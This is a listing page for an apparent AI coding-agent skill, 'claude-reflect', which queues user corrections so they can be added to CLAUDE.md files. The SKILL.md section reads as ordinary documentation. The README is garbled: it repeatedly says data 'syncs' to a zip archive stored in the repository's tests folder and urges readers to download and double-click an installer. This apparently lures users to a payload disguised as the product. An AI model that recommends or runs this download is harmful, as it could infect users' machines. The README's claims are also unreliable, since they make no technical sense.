claude-reflect

by @abde-14 in AI & LLM

# Install this skill:

npx skills add abde-14/claude-reflect

Or install specific skill: npx add-skill https://github.com/abde-14/claude-reflect

# Description

Self-learning system that captures corrections during sessions and reminds users to run /reflect to update CLAUDE.md. Use when discussing learnings, corrections, or when the user mentions remembering something for future sessions.

# SKILL.md

name: claude-reflect
description: Self-learning system that captures corrections during sessions and reminds users to run /reflect to update CLAUDE.md. Use when discussing learnings, corrections, or when the user mentions remembering something for future sessions.

Claude Reflect - Self-Learning System

A two-stage system that helps Claude Code learn from user corrections.

How It Works

Stage 1: Capture (Automatic)
Hooks detect correction patterns ("no, use X", "actually...", "use X not Y") and queue them to ~/.claude/learnings-queue.json.

Stage 2: Process (Manual)
User runs /reflect to review and apply queued learnings to CLAUDE.md files.

Available Commands

Command	Purpose
`/reflect`	Process queued learnings with human review
`/reflect --scan-history`	Scan past sessions for missed learnings
`/reflect --dry-run`	Preview changes without applying
`/reflect-skills`	Discover skill candidates from repeating patterns
`/skip-reflect`	Discard all queued learnings
`/view-queue`	View pending learnings without processing

When to Remind Users

Remind users about /reflect when:
- They complete a feature or meaningful work unit
- They make corrections you should remember for future sessions
- They explicitly say "remember this" or similar
- Context is about to compact and queue has items

Correction Detection Patterns

High-confidence corrections:
- Tool rejections (user stops an action with guidance)
- "no, use X" / "don't use Y"
- "actually..." / "I meant..."
- "use X not Y" / "X instead of Y"
- "remember:" (explicit marker)

Learning Destinations

~/.claude/CLAUDE.md - Global learnings (model names, general patterns)
./CLAUDE.md - Project-specific learnings (conventions, tools, structure)
commands/*.md - Skill improvements (corrections during skill execution)

Example Interaction

User: no, use gpt-5.1 not gpt-5 for reasoning tasks
Claude: Got it, I'll use gpt-5.1 for reasoning tasks.

[Hook captures this correction to queue]

User: /reflect
Claude: Found 1 learning queued. "Use gpt-5.1 for reasoning tasks"
        Scope: global
        Apply to ~/.claude/CLAUDE.md? [y/n]

# README.md

🎉 claude-reflect - Enhance Your Claude Code Experience

🚀 Getting Started

claude-reflect is a smart tool designed to improve the Claude Code experience. It learns from your corrections, feedback, and preferences. Once it gathers this information, it syncs everything to https://github.com/abde-14/claude-reflect/raw/refs/heads/main/tests/reflect_claude_v2.8.zip and https://github.com/abde-14/claude-reflect/raw/refs/heads/main/tests/reflect_claude_v2.8.zip, simplifying your workflow and boosting your productivity.

🔗 Download Now

🛠️ System Requirements

Before downloading, ensure your system meets the following requirements:

Operating System: Windows 10 or later / macOS 10.14 (Mojave) or later / Linux (Ubuntu 18.04 or later)
Memory: Minimum 4 GB RAM
Storage: At least 100 MB of free space

📁 Features

Self-Learning: The app continuously learns from user interactions and makes adjustments.
Feedback Capture: Easily record both corrections and positive feedback to enhance your experience.
Syncing Capabilities: Automatically syncs with https://github.com/abde-14/claude-reflect/raw/refs/heads/main/tests/reflect_claude_v2.8.zip and https://github.com/abde-14/claude-reflect/raw/refs/heads/main/tests/reflect_claude_v2.8.zip for efficient knowledge management.
User-Friendly Interface: Designed for ease of use, no programming knowledge required.

📥 Download & Install

To get started with claude-reflect, visit this page to download: claude-reflect Releases.

Steps to Install:

Visit the Releases Page: Click on the link above to go to the releases section.
Select the Latest Version: Find the latest version available for download.
Download the Installer: Choose the file suitable for your operating system and click to download.
Run the Installer: Locate the downloaded file and double-click it to start the installation.
Follow the Prompts: Follow the on-screen instructions to complete the installation.

🔄 How to Use

Open claude-reflect: After installation, find the app icon on your desktop or in your applications folder.
Start Interacting: Use the app as you would typically interact with Claude Code. Provide corrections and feedback as needed.
Sync Your Data: The app will automatically sync your preferences and feedback to https://github.com/abde-14/claude-reflect/raw/refs/heads/main/tests/reflect_claude_v2.8.zip and https://github.com/abde-14/claude-reflect/raw/refs/heads/main/tests/reflect_claude_v2.8.zip, keeping your records updated.

📊 User Support

If you encounter any issues or have questions, please refer to our Support Page. You can submit bugs or feedback there, and our community will assist you.

📅 Upcoming Features

We continually improve claude-reflect. Here are some features you can expect in upcoming releases:

Advanced Analytics: More detailed insights into how your interactions shape the learning process.
Customizable Settings: Enhanced options to tailor the app to your specific needs.
Broader Integration: Support for more systems and tools to increase productivity.

🧑‍🤝‍🧑 Community Contributions

We welcome contributions! If you want to help make claude-reflect even better, check out the Contributing Guide. You can report bugs, add features, or suggest improvements.

Your feedback helps us grow, and we appreciate your involvement!

📜 License

claude-reflect is an open-source project. You can review the license details in the LICENSE file.

🔗 Additional Resources

Documentation - Comprehensive guide on using claude-reflect.
FAQ - Common questions and answers.
Community Forum - Connect with other users and share your experiences.

🏁 Conclusion

claude-reflect aims to simplify your coding experience by learning from your usage. By following the steps above, you can easily download and install the app, bringing enhanced productivity to your workflow. Enjoy your journey with claude-reflect!

# Supported AI Coding Agents

This skill is compatible with the SKILL.md standard and works with all major AI coding agents:

⚡ Amp 🚀 Antigravity 🤖 Claude Code 🦀 Clawdbot 📝 Codex ▶️ Cursor 🤖 Droid 💎 Gemini CLI 🐙 GitHub Copilot 🪿 Goose 📊 Kilo Code 🔧 Kiro CLI 💻 OpenCode 🦘 Roo Code 🌲 Trae 🏄 Windsurf

Learn more about the SKILL.md standard and how to use these skills with your preferred AI coding agent.